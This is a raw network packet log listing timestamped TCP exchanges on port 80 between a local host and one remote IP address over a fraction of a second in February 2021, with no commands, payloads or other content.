Feb 20, 2021 02:03:51.394376040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394443035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.394459009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394546986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394579887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.394583941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394609928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.394628048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394637108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.394691944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394694090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.394758940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.394840002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.394901037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.394973040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395031929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395087957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395124912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395140886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395159960 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395196915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395235062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395252943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395301104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395337105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395374060 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395380974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395386934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395389080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395427942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395461082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395503044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395566940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395607948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395646095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395651102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395688057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395690918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395736933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395776987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395787954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395812988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395827055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395870924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.395889997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395937920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.395958900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396006107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396044970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396049023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396115065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396152020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396188974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396234035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396233082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396238089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396239996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396264076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396266937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396306038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396308899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396464109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396469116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396532059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396600008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396655083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396671057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396676064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396687031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396717072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396718979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396781921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396828890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396876097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396914005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396924973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396929026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396929979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396931887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396953106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396969080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.396990061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.396998882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397027016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397073030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397098064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397100925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397114038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397150993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397187948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397226095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397236109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397239923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397243023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397262096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397289038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397294044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397320032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397352934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397476912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397516966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397516966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397548914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397553921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397564888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397608995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397624969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397664070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397701025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397737980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397783995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397824049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397838116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397842884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397845030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397860050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397865057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397869110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397898912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397929907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397936106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397936106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.397972107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.397974014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.398005009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.398011923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.398047924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.398062944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.398080111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.398093939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.398109913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.398134947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.398138046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.398195982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.398240089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.398283005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.398319006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.398349047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.398369074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.398407936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.398407936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.398449898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.398488045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.398504019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.398519039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.398572922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.398613930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.398647070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.398649931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.398649931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.398684978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.398724079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.403666973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.403820038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.403841972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.403861046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.403881073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.403913975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.403925896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.403930902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.403939962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.403961897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.403981924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.404036999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.404052973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.404067039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.404073000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.404174089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.404624939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.404681921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.405623913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.405689955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.405742884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.405762911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.405786991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.405795097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.405808926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.405810118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.405824900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.405855894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.405942917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.405962944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.405987978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.405998945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406008959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406011105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406025887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406047106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406049967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406084061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406102896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406114101 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406122923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406131983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406147003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406152010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406172037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406188965 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406198978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406219006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406250000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406256914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406270981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406275034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406286001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406296968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406327963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406338930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406343937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406366110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406402111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406411886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406887054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406907082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406925917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406944990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406946898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.406970024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406976938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.406990051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.407372952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.407392979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.407413960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.407432079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.407450914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.407461882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.410501957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.410537958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.410556078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.410586119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.410602093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.410605907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.410660982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.410692930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.410723925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.410748005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.410797119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.410818100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.410855055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.410873890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.410928965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.410990000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411020041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411039114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411057949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411079884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411098003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411108971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411143064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411161900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411184072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411201000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411211967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411231995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411233902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411261082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411279917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411295891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411298990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411309958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411325932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411345005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411353111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411381960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411401033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411411047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411420107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411428928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411446095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411467075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411484957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411509037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411544085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411559105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411576033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411595106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411628962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411644936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.411696911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.411756039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.435061932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.443618059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.443660975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.443747044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.443790913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.445657969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.445708036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.445749998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.445755005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.445772886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.445816040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.445883989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.445952892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.447762012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.447830915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.447846889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.447902918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.447912931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.447989941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.447993040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.448029995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.448064089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.448067904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.448090076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.448127031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.448337078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.448399067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.448412895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.448438883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.448461056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.448474884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.448487997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.448513031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.448534966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.448549986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.448563099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.448586941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.448610067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.448641062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.448828936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.448894024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.448906898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.448946953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.448981047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449008942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449011087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449049950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449079990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449114084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449166059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449209929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449249983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449274063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449281931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449322939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449347019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449378967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.449431896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449476004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.449495077 CET	49165	80	192.168.2.22	185.81.0.78
